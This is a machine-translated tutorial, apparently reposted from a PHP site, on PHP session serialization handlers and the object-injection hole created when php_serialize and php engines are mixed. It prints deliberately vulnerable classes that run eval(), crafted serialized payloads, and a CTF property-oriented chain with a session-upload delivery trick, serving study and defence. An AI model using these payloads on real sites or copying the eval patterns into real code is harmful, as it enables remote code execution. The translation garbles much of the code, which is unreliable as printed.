PHP session deserialization using a detailed

Source: Internet
Author: User
This time for everyone to bring the session of PHP to use a detailed explanation of the use of PHP session to deserialize the attention of the matter, the following is the actual case, take a look.

There are three configuration items in php.ini:

Session.save_path= ""--set the session's storage path
Session.save_handler= ""--set user-defined storage function, if you want to use the PHP built-in session storage mechanism can use this function (database, etc.)
Session.auto_start Boolen--Specifies whether the session module starts a session at the start of the request and defaults to 0 does not start
Session.serialize_handler string-Defines the name of the processor used for serialization/deserialization. Use PHP by default
The options above are those related to session storage and sequence session storage in PHP.
In the installation of the XAMPP component, the configuration items described above are set as follows:

Session.save_path= "D:\xampp\tmp" indicates that all session files are stored under Xampp/tmp
Session.save_handler=files indicates that the session is stored as a file.
Session.auto_start=0 indicates that the session is not started by default
Session.serialize_handler=php indicates that the default sequence session engine for the session is using the PHP sequence session engine
In the above configuration, Session.serialize_handler is used to set the session engine of the sequence, in addition to the default PHP engine, there are other engines, different engines corresponding to the session is stored differently.

Php_binary: Stored by the length of the key name corresponding to the ASCII character + key name + after the Serialize () function serialization processing value
PHP: Stored by, key name + vertical bar + after serialize () function sequence processing value
Php_serialize (php>5.5.4): stored by the value of the Serialize () function serialization process
PHP is used by default PHP engine, if you want to modify the other engine, only need to add code ini_set (' Session.serialize_handler ', ' need to set the engine '); The sample code is as follows:

<?phpini_set (' Session.serialize_handler ', ' php_serialize '); session_start ();//Do something

Storage mechanism

The contents of the session in PHP are not in memory, but are stored in the form of a file, which is determined by the configuration item Session.save_handler, which is stored as a file by default.
The stored file is named after the Sess_sessionid, and the contents of the file are the contents of the sequence of session values.
Assuming our environment is XAMPP, then the default configuration is as described above.
In the case of default configuration:

<?phpsession_start () $_session[' name '] = ' spoock '; Var_dump ();? >

The last session is stored and displayed as follows:

You can see that the value of PHPSESSID is JO86UD4JFVU81MBG28SL2S56C2, while the file name stored under Xampp/tmp is SESS_JO86UD4JFVU81MBG28SL2S56C2, and the contents of the files are name|s:6: " Spoock ";. Name is the key value, s:6: "Spoock"; is the result of serialize ("Spoock").

Under the Php_serialize engine:

<?phpini_set (' Session.serialize_handler ', ' php_serialize '); Session_Start (); $_session[' name '] = ' spoock '; var_ Dump ();? >

The content of the session file is a:1:{s:4: "Name"; s:6: "Spoock";}. A:1 is added by using php_serialize for sequence sessions. Using Php_serialize at the same time will serialize both the key and value in the session.

Under the Php_binary engine:

<?phpini_set (' Session.serialize_handler ', ' php_binary '); Session_Start (); $_session[' name '] = ' spoock '; Var_dump ( );? >

The content of the session file is names:6: "Spoock";. Because the length of name is EOT in the ASCII table. According to php_binary storage rules, the last is names:6: "Spoock";. (Suddenly found that the ASCII value of 4 characters can not be displayed on the page, this is to check the ASCII table yourself)

Serialization Simple utilization

test.php

<?phpclass syclover{        var $func = "";        function construct () {            $this->func = "phpinfo ()";        }        function Wakeup () {            eval ($this->func);}        } Unserialize ($_get[' a ');? >

The passed-in parameters are serialized in 11 rows. We can execute the eval () method by passing in a specific string and deserializing to an example of syclover. We visited Localhost/test.php?a=o:8: "Syclover": 1:{s:4: "Func"; s:14: "Echo" Spoock ";";}. Then the deserialization gets the following:

Object (Syclover) [1] public  ' func ' = + string ' echo ' spoock '; ' (length=14)

The final page output is Spoock, which shows the final implementation of our definition of echo "Spoock" method.
This is a demonstration of a simple serialized vulnerability

The serialization hazard in PHP session

The implementation of the session in PHP is not a problem, the harm is mainly due to improper use of the programmer's session.
If the engine used by PHP in deserializing the stored $_session data is not the same as the engine used for serialization, it will cause the data to be deserialized incorrectly. With well-constructed packets, you can bypass the validation of the program or implement some system methods. For example:

$_session[' ryat ' = ' | O:11: "Peopleclass": 0:{} ';

The above $_session data use Php_serialize, then the last storage content is

A:1:{s:6: "Spoock"; s:24: "| O:11: "Peopleclass": 0:{} ";}.

But when we were reading, we chose PHP, and the last read was:

Array (size=1)  ' a:1:{s:6: "Spoock"; s:24: "' = = =     Object (php_incomplete_class) [1] public      ' Php_ Incomplete_class_name ' = = String ' Peopleclass ' (length=11)

This is because when using the PHP engine, the PHP engine will use | As the delimiter for key and value, then it will be a:1:{s:6: "Spoock", s:24: "As the session key, will o:11:" Peopleclass ": 0:{} As value, and then deserialize, and finally get the Peopleclas class.
This is the reason why the PHP session sequence is vulnerable because of the different engines used for serialization and deserialization.

Actual use

There is a different engine for the session used by s1.php and us2.php,2 files, which creates a vulnerability,
s1.php, use Php_serialize to handle session

<?phpini_set (' Session.serialize_handler ', ' php_serialize '); Session_Start (); $_session["Spoock"]=$_GET["a"];

us2.php, using PHP to process the session

Ini_set (' Session.serialize_handler ', ' php '); session_start (); class Lemon {    var $hi;    function construct () {        $this->hi = ' phpinfo (); ';    }        function Destruct () {         eval ($this->hi);}    }

When accessing s1.php, submit the following data:

localhost/s1.php?a=| O:5: "Lemon": 1:{s:2: "HI"; s:14: "Echo" Spoock ";";}

The incoming data is serialized according to Php_serialize.
At this time, when accessing us2.php, the page output, Spoock successfully executed the function we constructed. Because when accessing us2.php, the program deserializes the data in the session according to PHP, then deserializes the forged data, instantiates the Lemon object, and finally executes the eval () method in the destructor.

Ctf

A topic in the Anheng Cup examines this knowledge point. The key code in the topic is as follows:

Class.php<?phphighlight_string (file_get_contents (basename ($_server[' php_self ')));//show_source (file); class        foo1{public $varr;        function construct () {$this->varr = "index.php"; } function Destruct () {if (file_exists ($this->varr)) {echo ' <br> file '. $ This->varr. "                Presence <br> ";        } echo "<br> This is a destructor for foo1 <br>";        }}class foo2{public $varr;        Public $obj;                function construct () {$this->varr = ' 1234567890 ';        $this->obj = null;                } function ToString () {$this->obj->execute ();        return $this->varr;        } function Desctuct () {echo "<br> this is Foo2 's destructor <br>";        }}class foo3{public $varr;        function execute () {eval ($this->varr); } function Desctuct () {echo ' &LT;BR&GT; This is the destructor of Foo3 <br> "; }}?>index.php<?phpini_set (' Session.serialize_handler ', ' php '), require ("./class.php"); Session_Start (); $obj = new Foo1 (); $obj->varr = "phpinfo.php";? >

Through code discovery, we end up executing our custom functions through execute in FOO3.
Then we first build the environment locally and construct the custom functions we need to execute. As follows:
myindex.php

<?phpclass foo3{public        $varr = ' echo ' Spoock        '; function execute () {                eval ($this->varr);}        } Class foo2{public        $varr;        public $obj;        function construct () {                $this->varr = ' 1234567890 ';                $this->obj = new Foo3 ();        }        function toString () {                $this->obj->execute ();                return $this->varr;        }} Class foo1{public        $varr;        function construct () {                $this->varr = new Foo2 ();}        } $obj = new Foo1 ();p Rint_r (Serialize ($obj));? >

In the constructor in Foo1, you define an instance of $varr with a value of Foo2, and an instance of $obj as Foo3 in Foo2, and a value of Foo3 defined in $varr as echo "Spoock". The value of the resulting sequence session is

O:4: "foo1": 1:{s:4: "Varr"; O:4: "Foo2": 2:{s:4: "Varr"; s:10: "1234567890"; s:3: "obj"; O:4: "Foo3": 1:{s:4: "Varr"; s:14: " echo "Spoock"; ";}}

This way, when the value of the preceding sequence is written to the server and then to the server's index.php, it will eventually execute our pre-defined echo "Spoock".
The main way to write is to use the SESSION Upload progress in PHP to set, specifically, when uploading a file, if post a variable named php_session_upload_progress, You can assign the value of the filename to the session

Finally, the file name will be written to the session, the specific implementation details can refer to the PHP manual.
But when I was doing a local test, I found that I couldn't achieve the effect of Anheng, but the final principle was the same.

Summarize

Through the analysis of the session in PHP, the implementation of the session in PHP has a more profound understanding of the principle. This PHP session problem is also a good question. This article not only gives you a sense of the session's serialization vulnerability in PHP, but also helps programmers to enhance the understanding of the session mechanism in PHP.

Believe that you have read the case of this article you have mastered the method, more exciting please pay attention to the PHP Chinese network other related articles!

Recommended reading:

How PHP removes null or empty elements from an array

PHP Implements a log function

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.